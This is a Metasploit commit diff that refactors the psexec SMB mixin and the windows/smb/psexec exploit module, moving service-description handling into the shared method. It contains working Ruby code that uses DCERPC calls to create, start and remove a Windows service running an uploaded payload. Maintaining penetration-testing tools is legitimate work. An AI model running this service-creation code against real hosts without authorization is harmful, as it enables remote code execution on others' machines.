Skip to content

Commit 631a7b9

Browse files
agixMeatballs1
authored andcommitted
Adapt to new psexec mixin (first try :D)
1 parent 978bdbb commit 631a7b9

File tree

2 files changed

+21
-125
lines changed

2 files changed

+21
-125
lines changed

lib/msf/core/exploit/smb/psexec.rb

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def smb_read_file(smbshare, host, file)
5252
# @param command [String] Should be a valid windows command
5353
# @param disconnect [Boolean] Disconnect afterwards
5454
# @return [Boolean] Whether everything went well
55-
def psexec(command, disconnect=true)
55+
def psexec(command, service_description,disconnect=true)
5656
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
5757
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
5858
vprint_status("#{peer} - Binding to #{handle} ...")
@@ -72,6 +72,7 @@ def psexec(command, disconnect=true)
7272
end
7373
servicename = Rex::Text.rand_text_alpha(11)
7474
displayname = Rex::Text.rand_text_alpha(16)
75+
servicedescription = service_description || Rex::Text.rand_text_alpha(rand(32)+1)
7576
svc_handle = nil
7677
svc_status = nil
7778
stubdata =
@@ -100,6 +101,23 @@ def psexec(command, disconnect=true)
100101
return false
101102
end
102103

104+
vprint_status("#{peer} - Changing service description...")
105+
stubdata =
106+
svc_handle +
107+
NDR.long(1) +
108+
NDR.long(1) +
109+
NDR.long(0x0200) +
110+
NDR.long(0x04000200) +
111+
NDR.wstring(servicedescription)
112+
begin
113+
response = dcerpc.call(0x25, stubdata)
114+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
115+
end
116+
rescue ::Exception => e
117+
print_error("#{peer} - Error changins service description : #{e}")
118+
return false
119+
end
120+
103121
vprint_status("#{peer} - Starting the service...")
104122
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
105123
begin

modules/exploits/windows/smb/psexec.rb

Lines changed: 2 additions & 124 deletions
Original file line numberDiff line numberDiff line change
@@ -153,7 +153,7 @@ def exploit
153153
simple.disconnect("ADMIN$")
154154
else
155155
servicename = rand_text_alpha(8)
156-
servicedescription = datastore['SERVICE_DESCRIPTION']
156+
servicedescription = datastore['SERVICE_DESCRIPTION'] || rand_text_alpha(rand(32)+1)
157157

158158
# Upload the shellcode to a file
159159
print_status("Uploading payload...")
@@ -199,129 +199,7 @@ def exploit
199199
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
200200
end
201201

202-
psexec(file_location, false)
203-
204-
print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
205-
stubdata =
206-
scm_handle +
207-
NDR.wstring(servicename) +
208-
NDR.uwstring(displayname) +
209-
210-
NDR.long(0x0F01FF) + # Access: MAX
211-
NDR.long(0x00000110) + # Type: Interactive, Own process
212-
NDR.long(0x00000003) + # Start: Demand
213-
NDR.long(0x00000000) + # Errors: Ignore
214-
NDR.wstring( file_location ) + # Binary Path
215-
NDR.long(0) + # LoadOrderGroup
216-
NDR.long(0) + # Dependencies
217-
NDR.long(0) + # Service Start
218-
NDR.long(0) + # Password
219-
NDR.long(0) + # Password
220-
NDR.long(0) + # Password
221-
NDR.long(0) # Password
222-
begin
223-
response = dcerpc.call(0x0c, stubdata)
224-
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
225-
svc_handle = dcerpc.last_response.stub_data[0,20]
226-
svc_status = dcerpc.last_response.stub_data[24,4]
227-
end
228-
rescue ::Exception => e
229-
print_error("Error: #{e}")
230-
return
231-
end
232-
233-
##
234-
# CloseHandle()
235-
##
236-
print_status("Closing service handle...")
237-
begin
238-
response = dcerpc.call(0x0, svc_handle)
239-
rescue ::Exception
240-
end
241-
242-
##
243-
# OpenServiceW
244-
##
245-
print_status("Opening service...")
246-
begin
247-
stubdata =
248-
scm_handle +
249-
NDR.wstring(servicename) +
250-
NDR.long(0xF01FF)
251-
252-
response = dcerpc.call(0x10, stubdata)
253-
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
254-
svc_handle = dcerpc.last_response.stub_data[0,20]
255-
end
256-
rescue ::Exception => e
257-
print_error("Error: #{e}")
258-
return
259-
end
260-
261-
if servicedescription
262-
##
263-
# ChangeServiceConfig2W()
264-
##
265-
print_status("Change the service description (#{servicedescription})...")
266-
begin
267-
stubdata =
268-
svc_handle +
269-
NDR.long(1) +
270-
NDR.long(1) +
271-
NDR.long(0x0200) +
272-
NDR.long(0x04000200) +
273-
NDR.wstring(servicedescription)
274-
275-
response = dcerpc.call(0x25, stubdata)
276-
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
277-
end
278-
rescue ::Exception => e
279-
print_error("Error: #{e}")
280-
end
281-
end
282-
283-
##
284-
# StartService()
285-
##
286-
print_status("Starting the service...")
287-
stubdata =
288-
svc_handle +
289-
NDR.long(0) +
290-
NDR.long(0)
291-
begin
292-
response = dcerpc.call(0x13, stubdata)
293-
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
294-
end
295-
rescue ::Exception => e
296-
print_error("Error: #{e}")
297-
return
298-
end
299-
300-
##
301-
# DeleteService()
302-
##
303-
print_status("Removing the service...")
304-
stubdata =
305-
svc_handle
306-
begin
307-
response = dcerpc.call(0x02, stubdata)
308-
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
309-
end
310-
rescue ::Exception => e
311-
print_error("Error: #{e}")
312-
end
313-
314-
##
315-
# CloseHandle()
316-
##
317-
print_status("Closing service handle...")
318-
begin
319-
response = dcerpc.call(0x0, svc_handle)
320-
rescue ::Exception => e
321-
print_error("Error: #{e}")
322-
end
323-
324-
begin
202+
psexec(file_location, servicedescription, false)
325203

326204
print_status("Deleting \\#{filename}...")
327205
sleep(1)

0 commit comments

Comments
 (0)